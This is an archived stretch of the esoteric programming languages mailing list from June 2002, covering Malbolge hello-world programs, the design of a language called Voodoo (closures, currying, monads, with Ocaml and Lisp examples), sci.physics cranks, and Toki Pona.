 18 Jun 2002 08:54:29 +0200 (MEST)
Resent-date: Tue, 18 Jun 2002 08:54:29 +0200 (MEST)
Date: Tue, 18 Jun 2002 08:54:29 +0200
From: Pal Benko <benko@sztaki.hu>
Subject: [lang] Re: Malbolge
In-reply-to: <175433249910.20020618001144@frox25.dhs.org>
Sender: benko@sztaki.hu
To: lang@esoteric.sange.fi
Message-id: <3405-Tue18Jun2002085429+0200-benko@lutra.sztaki.hu>
MIME-version: 1.0
X-Mailer: emacs 20.6.1 (via feedmail 8 I)
Content-type: text/plain; charset=ISO-8859-2
Content-transfer-encoding: quoted-printable
Resent-Message-Id: <E17KCst-0003sH-00@oiva.sange.fi>
Resent-From: benko@sztaki.hu
Resent-Bcc:
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: benko@sztaki.hu
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: benko@sztaki.hu
Precedence: bulk
X-list: misc

From benko Tue Jun 18 08: 54 MES 2002
References: <7458-Mon03Jun2002110041+0200-benko@lutra.sztaki.hu>
 <175433249910.20020618001144@frox25.dhs.org>

In the meantime I found out that the Antwon programs are written by a
program.  He also has a Gettysburg Address somewhere.

Pal Benko






From esoteric@oiva.sange.fi Tue Jun 18 10:33:50 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KDTG-00045F-00; Tue, 18 Jun 2002 10:32:10 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 10:32:02 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KDSs-00044W-00; Tue, 18 Jun 2002 10:31:46 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 10:31:38 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KDSj-00044Q-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 10:31:37 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5I7VXj22374
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 10:31:33 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5I7VUm13963
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 10:31:30 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Tue, 18 Jun 2002 10:31:30 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [bf-alike] Fwd: A little bit of nonsense.
In-Reply-To: <5.1.0.14.0.20020617115911.03018ab0@mail.mines.edu>
Message-ID: <Pine.LNX.4.44.0206181030230.12382-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Mon, 17 Jun 2002, Ben wrote:
> This showed up in my inbox, along with a 'hello.tb' and a 'tb.exe'.
> >The jump is a funny thing.  I've never used it.  The jump is conditional 
> >on the byte starting at the pointed bit.  Half the time it will produce 
> >abnormal program termination with random exit code from one to nine.

Hmmm... doesn't sound it is quite Turing-complete - though I'm curious 
what the jump will do the _other_ half of the time.

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Tue Jun 18 11:32:09 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KENp-0004O2-00; Tue, 18 Jun 2002 11:30:37 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 11:30:29 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KENQ-0004Nw-00; Tue, 18 Jun 2002 11:30:12 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 11:30:04 +0300 (EEST)
Received: from sccrmhc02.attbi.com ([204.127.202.62])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KENH-0004Nd-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 11:30:03 +0300
Received: from plutonium.mad.scientist.com ([12.253.59.46])
          by sccrmhc02.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020618082941.GUYF1547.sccrmhc02.attbi.com@plutonium.mad.scientist.com>
          for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 08:29:41 +0000
Message-Id: <5.1.0.14.0.20020618022522.02fd1f38@mail.mines.edu>
X-Sender: bolmstea@mail.mines.edu
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Tue, 18 Jun 2002 02:29:11 -0600
To: lang@esoteric.sange.fi
From: Ben <bem@mad.scientist.com>
Subject: [lang] Re: [bf-alike] Fwd: A little bit of nonsense.
In-Reply-To: <Pine.LNX.4.44.0206181030230.12382-100000@melkinpaasi.cs.He
 lsinki.FI>
References: <5.1.0.14.0.20020617115911.03018ab0@mail.mines.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: bem@mad.scientist.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: bem@mad.scientist.com
Precedence: bulk
X-list: misc

At 10:31 2002/06/18 +0300, Panu A Kalliokoski wrote:
>On Mon, 17 Jun 2002, Ben wrote:
> > This showed up in my inbox, along with a 'hello.tb' and a 'tb.exe'.
> > >The jump is a funny thing.  I've never used it.  The jump is conditional
> > >on the byte starting at the pointed bit.  Half the time it will produce
> > >abnormal program termination with random exit code from one to nine.
>
>Hmmm... doesn't sound it is quite Turing-complete - though I'm curious
>what the jump will do the _other_ half of the time.

It looks like I managed to lose the originator's email in that forward:

"jesse mckeown" <iasa_ben@hotmail.com>

I will send hello.tb and tb.exe to those who want them; my ISP's virus
scanner marked it as clean, but I don't really like to execute binaries
emailed to me from strange sources.

Ben






From esoteric@oiva.sange.fi Tue Jun 18 11:43:39 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KEZ2-0004Tb-00; Tue, 18 Jun 2002 11:42:12 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 11:42:04 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KEYt-0004TU-00; Tue, 18 Jun 2002 11:42:03 +0300
Received: with LISTAR (v0.129a; list chat); Tue, 18 Jun 2002 11:42:02 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KEYr-0004TO-00
	for chat@esoteric.sange.fi; Tue, 18 Jun 2002 11:42:01 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5I8g0j09457
	for <chat@esoteric.sange.fi>; Tue, 18 Jun 2002 11:42:00 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5I8fvr19511
	for <chat@esoteric.sange.fi>; Tue, 18 Jun 2002 11:41:57 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Tue, 18 Jun 2002 11:41:57 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: chat@esoteric.sange.fi
Subject: [chat] Re: The kooks of sci.physics
In-Reply-To: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
Message-ID: <Pine.LNX.4.44.0206181130430.12382-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Mon, 17 Jun 2002, Gerson Kurz wrote:
> Quote taken from "The crackpots of sci.physics"
> 
> Len Gaasenbeek is one of many morons who believe the theory of relativity is
> blatantly wrong. At one point he also thought he could make a reactionless
> drive using a gyroscope, but I managed to show him why he was wrong. The
> fact that he is 71 years old might explain his crazy ideas.

The sad thing is, the more there are stupid people critical of scientific
theories, the more certain proponents of science become that the theories
are absolutely correct (even though these two should have nothing to do
with each other). From what I've noticed, science divides people into four
"social tiers":

1) Those that know little or nothing about the actual theories, but have 
great respect for scientific work (the mass)
2) Those that know little about the theories, but have noticed not 
everything is right, and conclude that science as a phenomenon should be 
banned (the critics, or "researchers of hidden knowledge")
3) Those that know enough about the theories to see their excellence as
intellectual achievements, lack abilities to check the details, and who
all too easily forget that the theories are not infallible (the members of
what I call "science religion")
4) The scientists who actually develop the theories, and who are well 
aware of their shortcomings.

Because most of the people in ng's nowadays consist of group (3), and 
because most of the members of group (3) lack the ability to distinguish 
between group (2) and group (4), little light can emerge from the 
discussions in ng's. 

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Tue Jun 18 13:51:54 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KGZ0-00054V-00; Tue, 18 Jun 2002 13:50:18 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 13:50:11 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KGYA-000543-00; Tue, 18 Jun 2002 13:49:26 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 13:49:18 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KGY1-00053x-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 13:49:17 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5IAnBj12811
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 13:49:11 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5IAn7E28509
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 13:49:07 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Tue, 18 Jun 2002 13:49:07 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
In-Reply-To: <200206171118.38974.cbiffle@safety.net>
Message-ID: <Pine.LNX.4.44.0206181311000.12382-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Mon, 17 Jun 2002, Cliff L. Biffle wrote:
> I'm hashing that out in the compiler right now, actually.  Initially, yes, 
> functions could refer to three types of variables:
[...]
> I've eliminated them from the current spec for one reason: performance.  The 

Yes. Though obviously variable frames have to be somehow implementable
efficiently, as witness various functional language implementations. (I
guess they analyse the code of anonymous functions / code blocks for
references to outside variables, and pass them in a closure as a hidden
parameter. But this would require more detailed discussion.)

> special cases, such as lists (of which a string is an example).  Division, 
> for example, is not defined on strings, and will produce an error, unless you 
> can suggest an alternative behavior. :-)

"abracadabra" / "ab" -> "racadra"

> Types are not currently user-definable.  In the same code I've been writing, 
> lists feel flexible enough to provide a lot of what user-defined types do in 
> other languages, but I'm not sure on that.  Currently there are a series of 

The reason I asked the question was, if all types support all possible 
operations, in order to add new types, you should have a way to define 
their operations. This would give a beautiful OO approach, but might be 
way too elaborate for a language like this.

> That's correct -- technically speaking, you cannot push a function with a 
> defined set of arguments, and must instead rely on the argwalk/argapply 

Yeah. Of course, if anonymous functions are _the_ form of iteration, the 
need for easy building of runtime-determined anonymous functions _will_ 
arise.

> > -- but what if I want
> > the argument to be determined by the outer scope: can I write a function
> > that takes an argument, x, and returns a function that will multiply its
> > argument by x?
> Yes, such a function can be written, but no, it's not nearly simple enough.  
> That example will require some rethinking.
> The most obvious way to do it currently is to define such a function at 
> runtime using the :..; sequence, convert it to a list (which breaks the 
> individual calls out), replace one of the values in the list with x, and then 
> convert it back into a function.  However, that's nasty, imho. :-)

Ah, of course. Yes. Well, it's a very consumptive operation for something
that could in theory be done at compile time.

> For my reference, how would you do that in Lisp or Haskell?  I'm not nearly as 
> well versed in either as I should be.

Well, it's ridiculously easy, because of nested scopes. Let's see it in
Ocaml, because it has a relatively easily-readable syntax:

let multiply_by x = function y -> x * y

(This is not the only way to write the definition, but it best reflects 
the usage: we give multiply_by 17 and get a function that will return its 
argument (y) multiplied by 17.)

See how the function is easily "constructed" at runtime by allowing the
use of x (outer function's binding) in the inner function. The value of x
is retained within the constructed function even though the outer function
returns.

I should add that in Haskell and Ocaml, this is the "normal" way to
construct functions: instead of using functions with tuples as arguments,
we use functions that return functions that take the rest of the
arguments. This is called currying. What it means in practice is that we
can always "partially apply" a function (give it any prefix part of its
arguments), and the result is a function willing to take the rest of the
original function's arguments.

Curried functions are called like in:
LISP: (((myfn 1) 2) 3)
Ocaml: myfn 1 2 3
Non-curried functions are called like in:
LISP: (myfn 1 2 3)
Ocaml: myfn [1;2;3] [or] myfn (1,2,3)

Other ways to write the example Ocaml code snippet above:
let multiply_by = function x -> function y -> x * y
let multiply_by = fun x y -> x * y
let multiply_by x y = x * y
let multiply_by = ( * )
To write it in LISP:
(defun multiply_by (x) (lambda (y) (* x y)))

[monads]
> like a spiritual global variable) or syntax examples in Scheme or Haskell.  
> Neither language's use of monads made their real value apparent to someone 
> like me, who isn't great with either.  But in short, I'm really not sure 
> -what- sort of monads I'm referring to.

Yeah. Monads are a mathematical construct, and a programming technique
comparable to OOP in its generality and range of use - so it's hard to
refer to monads in general, because they are too broad a concept.

> > 1) They can be first-class (so a whole environment can be saved, given as
> > argument, etc. 2) They can impose additional restrictions on or services
> > for state-changes. 3) State tracking is well-defined for them, and
> > side-effectless computations can be lowered out of the monad for parallel,
> > lazy, etc. computation. 4) They're part of the functional setup around
> > them, and there is no way you could fuck up order of evaluation with them.
> So how are monads different from singletons in an OO paradigm with proper 
> thread safety?

Again, you are apparently speaking of updatable-state monads. Well, the
two techniques (singletons, or rather any state-keeping objects, and
updatable-state monads) are meant at least partially for the same goals,
so they are similar in that respect. However, if you are really to write a
snippet of code work in any environment, you have to pass the singleton
(or object) to it as an argument. This is exactly the kind of unneeded
work and lack of abstraction which monadic programming style allows one to
abstract away.

So I'd say the two techniques are similar WRT points (1) and (2) above,
differ WRT points (3) and (4) above, and have the additional difference
which I didn't come up with previously (because of lack of object of
comparison) that updatable-state monads abstract away parameter passing.  
Of the two techniques, monads are IMO a little bit simpler (though that
might be my prejudice) (and not that either is really complicated at all),
and allow for much cleaner client code.

> > take their arguments from the stack. All in all, if one develops a stack
> > machine, it naturally evolves into lambda calculus' direction if one
> > considers FPN (operations first), and into bytecode's (forth's) direction
> > if one considers RPN.
> Using that model, a function like +, for example, when invoked, would place 
> itself onto the stack containing an internal state that additional arguments 
> could be applied to?

FPN? Yes. The functions in the stack would contain as much of their 
arguments as they've already been applied to, and when they get enough 
arguments, they get evaluated and apply the result to the function under.

> Would feeding, say, numeric arguments to a function also have involved such an 
> operator (albeit a less interesting one)?  (I'm trying to collect as much 
> data as I can on other peoples' designs here. :-)

Nope, data should know their way around, i.e. apply themselves without 
being explicitly asked to do so. This is similar to operations in RPN 
executing without being asked.

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Tue Jun 18 20:42:21 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KMxR-0006bC-00; Tue, 18 Jun 2002 20:39:57 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 20:39:50 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KMuq-0006b3-00; Tue, 18 Jun 2002 20:37:16 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 20:37:09 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KMug-0006ax-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 20:37:07 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5IHb3215749
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 10:37:03 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Tue, 18 Jun 2002 10:38:01 -0700
X-Mailer: KMail [version 1.4]
References: <Pine.LNX.4.44.0206181311000.12382-100000@melkinpaasi.cs.Helsinki.FI>
In-Reply-To: <Pine.LNX.4.44.0206181311000.12382-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206181038.01706.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Tuesday 18 June 2002 03:49 am, you wrote:
> Yes. Though obviously variable frames have to be somehow implementable
> efficiently, as witness various functional language implementations. (I
> guess they analyse the code of anonymous functions / code blocks for
> references to outside variables, and pass them in a closure as a hidden
> parameter. But this would require more detailed discussion.)

I'll be hitting the university science library later to see what sort of=20
materials I can collect.

> "abracadabra" / "ab" -> "racadra"

Not "abracadabra" / "ab" -> 2?

> The reason I asked the question was, if all types support all possible
> operations, in order to add new types, you should have a way to define
> their operations. This would give a beautiful OO approach, but might be
> way too elaborate for a language like this.

*nod*
Not all types support all possible operations, at the moment.  For exampl=
e,=20
concatenating two integers doesn't make a lot of sense to me.
Have you played much with Ruby?  It takes an approach similar to the one =
you=20
describe.

> Yeah. Of course, if anonymous functions are _the_ form of iteration, th=
e
> need for easy building of runtime-determined anonymous functions _will_
> arise.

Yes, exactly that problem has sent me rethinking the language.  I liked t=
he=20
theory behind using anonymous functions for all forms of iteration (I=20
considered using them as the blocks of the if/else/then statement as well=
). =20
However, at the moment it's a little weak for that.

> Ah, of course. Yes. Well, it's a very consumptive operation for somethi=
ng
> that could in theory be done at compile time.

Perhaps.
One of my past projects was a symbolic algebra system (similar to what Li=
sp=20
was originally designed for, believe it or not), which would, of course,=20
require the ability to partially evaluate functions like Ocaml. =20
Incidentally, I like the way Ocaml handles that, from your example.

> I should add that in Haskell and Ocaml, this is the "normal" way to
> construct functions: instead of using functions with tuples as argument=
s,
> we use functions that return functions that take the rest of the
> arguments. This is called currying. What it means in practice is that w=
e
> can always "partially apply" a function (give it any prefix part of its
> arguments), and the result is a function willing to take the rest of th=
e
> original function's arguments.

This is a very interesting concept that I will have to meditate upon.  Vo=
odoo=20
is likely to have just changed significantly.

> (defun multiply_by (x) (lambda (y) (* x y)))

Wow, it's been a long time since I've done Lisp.  Am I right in rememberi=
ng=20
'lambda' as roughly equivalent to what I've been calling the anonymous=20
function?  i.e. defines a function but doesn't give it a=20
globally-recognizable name?

> Yeah. Monads are a mathematical construct, and a programming technique
> comparable to OOP in its generality and range of use - so it's hard to
> refer to monads in general, because they are too broad a concept.

I'm coming to realize that. :-)  I'm going to see if I can't find a book.

> > Using that model, a function like +, for example, when invoked, would
> > place itself onto the stack containing an internal state that additio=
nal
> > arguments could be applied to?
> FPN? Yes. The functions in the stack would contain as much of their
> arguments as they've already been applied to, and when they get enough
> arguments, they get evaluated and apply the result to the function unde=
r.

This makes more sense now that I'm familiar with curried functions.

> Nope, data should know their way around, i.e. apply themselves without
> being explicitly asked to do so. This is similar to operations in RPN
> executing without being asked.

Ah, okay, so the feed-function-as-argument operator would only be necessa=
ry to=20
prevent that function from executing -itself- rather than being passed.

-Cliff L. Biffle





From esoteric@oiva.sange.fi Tue Jun 18 21:47:52 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KNzZ-0006sn-00; Tue, 18 Jun 2002 21:46:13 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 21:46:05 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KNzB-0006sY-00; Tue, 18 Jun 2002 21:45:49 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 18 Jun 2002 21:45:41 +0300 (EEST)
Received: from [212.16.6.108] (helo=frox25.dhs.org)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17KNz2-0006sR-00
	for lang@esoteric.sange.fi; Tue, 18 Jun 2002 21:45:40 +0300
Received: (qmail 96849 invoked from network); 18 Jun 2002 18:03:07 -0000
Received: from heartw.ih (10.0.17.4)
  by nova.ih with SMTP; 18 Jun 2002 18:03:07 -0000
Date: Tue, 18 Jun 2002 22:31:11 +0400
From: Mtv Europe <mtve@frox25.dhs.org>
X-Mailer: The Bat! (v1.49) Personal
X-Priority: 3 (Normal)
Message-ID: <39513628913.20020618223111@frox25.dhs.org>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Malbolge
In-reply-To: <20020618063351.93577.qmail@web14007.mail.yahoo.com>
References: <20020618063351.93577.qmail@web14007.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
X-list: misc

Hello World!

Tuesday, June 18, 2002, 10:33:51 AM, Stephen Sykes <s_d_sykes@yahoo.co.uk> wrote:
> http://www2.latech.edu/~acm/helloworld/malbolge.html
> The comment suggests that the two versions given are different, but as far
> as I can see they are the same, and they don't work (they seem to wait for
> you to type hello, world instead of printing it).

They both hangs on / operator for me too.

> Anyhow, this appears to be the second longest hello world in existence -
> there was an even longer effort posted in this list last year.  (see
> http://esoteric.sange.fi/archive/2001-q4 )

Yes, "HW" by Keith Amling (KiwiCado23 at aol.com, mail date 2 Sep 2001)
is interesting, but as a matter of fact all of them are based on the same
boring principle.

Tuesday, June 18, 2002, 10:54:29 AM, Pal Benko <benko@sztaki.hu> wrote:
> In the meantime I found out that the Antwon programs are written by a
> program.  He also has a Gettysburg Address somewhere.

There are pretty subtle kinds of programs: those which are written by
a program and those which are written by a program which is written by
a program ;)

Of course first i tried

   do { program = random_code(); } while (evaluate (program) != "Hello, world");

on my quantum computer, but then i've did more universal:

   if (time_fork (&save_game, &information)) {
      sleep (1 * DAY);
      scan_mailbox ("malbolge", &information);
      time_jmp (save_game, information);
   } else {
      print (information);
   }

----
Mtv Europe, with hope that his bad jokes will suggest an idea of new
interesting language to somebody







From esoteric@oiva.sange.fi Tue Jun 18 22:40:46 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KOoq-0007Hu-00; Tue, 18 Jun 2002 22:39:12 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 18 Jun 2002 22:39:05 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KOoi-0007Ho-00; Tue, 18 Jun 2002 22:39:04 +0300
Received: with LISTAR (v0.129a; list chat); Tue, 18 Jun 2002 22:39:03 +0300 (EEST)
Received: from h24-71-223-10.cg.shawcable.net ([24.71.223.10] helo=pd3mo1so.prod.shaw.ca)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KOob-0007Hi-00
	for chat@esoteric.sange.fi; Tue, 18 Jun 2002 22:39:02 +0300
Received: from pd3mr2so.prod.shaw.ca (pd3mr2so-ser.prod.shaw.ca [10.0.141.178])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXX005QI2HBHB@l-daemon> for chat@esoteric.sange.fi; Tue,
 18 Jun 2002 13:36:47 -0600 (MDT)
Received: from pn2ml1so.prod.shaw.ca
 (pn2ml1so-qfe0.prod.shaw.ca [10.0.121.145]) by l-daemon
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXX0022R2HBL3@l-daemon> for chat@esoteric.sange.fi; Tue,
 18 Jun 2002 13:36:47 -0600 (MDT)
Received: from localhost (h24-78-145-92.vc.shawcable.net [24.78.145.92])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with SMTP id <0GXX00JDX2HBLP@l-daemon> for chat@esoteric.sange.fi; Tue,
 18 Jun 2002 13:36:47 -0600 (MDT)
Date: Tue, 18 Jun 2002 12:43:03 +0000
From: Nikita Ayzikovsky <ayzik@shaw.ca>
Subject: [chat] Re: The kooks of sci.physics
In-reply-to: <20020618054635.GA3573@twcny.rr.com>
To: chat@esoteric.sange.fi
Message-id: <20020618124303.7b4cd3ab.ayzik@shaw.ca>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <KGEPLGONBPHFGIHOBLCKKEEICIAA.gerson.kurz@t-online.de>
 <20020617210900.GB1910@twcny.rr.com> <20020617145416.727ecff4.ayzik@shaw.ca>
 <20020618033813.GC3073@twcny.rr.com> <20020617222143.67adaeb9.ayzik@shaw.ca>
 <20020618054635.GA3573@twcny.rr.com>
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
X-list: misc

On Tue, 18 Jun 2002 01:46:35 -0400
Rob Speer <rob@twcny.rr.com> wrote:

> Heh! I've encountered Toki Pona before. Its extreme minimalism made me
> wonder why anyone would want to use it, but I suppose that in that
> regard it's like BrainFuck.

It is a very cool language. To say something a bit more complicated than
"I have food" or "I want to sleep", you have to get to the essence of what
you want to say. If you don't really know what you're saying, you won't be
able to translate it, either.

And of course, being able to achive fluency in a month or so is also fun :)

P.S By the way, if anyone is interested in Toki Pona, go to #tokipona on
EFNet, since the lessons on the language website are insufficient and a bit
outdated.

P.P.S Also by the way, did #nprs die before it was even born? Or did I just
type the channel name wrong?

  __
